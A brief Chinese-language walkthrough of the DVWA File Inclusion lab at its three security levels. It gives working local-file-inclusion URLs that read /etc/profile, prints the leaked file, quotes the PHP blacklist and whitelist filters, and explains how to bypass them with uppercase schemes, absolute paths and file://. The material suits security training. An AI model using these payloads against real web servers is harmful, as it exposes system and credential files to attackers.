DVWA - File Inclusion (low, medium, high)

low

觀察URL可發現，注入點在page，low等級直接注入

http://192.168.67.22/dvwa/vulnerabilities/fi/?page=/etc/profile

返回結果如下：

# /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). if [ "$PS1" ]; then if [ "$BASH" ] && [ "$BASH" != "/bin/sh" ]; then # The file bash.bashrc already sets the default PS1. # PS1='\h:\w\$ ' if [ -f /etc/bash.bashrc ]; then . /etc/bash.bashrc fi else if [ "`id -u`" -eq 0 ]; then PS1='# ' else PS1='$ ' fi fi fi if [ -d /etc/profile.d ]; then for i in /etc/profile.d/*.sh; do if [ -r $i ]; then . $i fi done unset i fi export JAVA_HOME=/opt/jdk1.8.0_25 export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH=$PATH:$JAVA_HOME/bin

medium

查看源碼，發現以黑名單的方式過濾（刪掉）了http://, https://, ../和..\

// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file );

繞過思路http轉大寫，使用絕對路徑等等。

high

查看源碼，發現以白名單的方式允許file開頭的文件和include.php

// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" )

繞過思路，以file://協議讀取文件即可，注入代碼如下：

http://192.168.67.22/dvwa/vulnerabilities/fi/?page=file:///etc/profile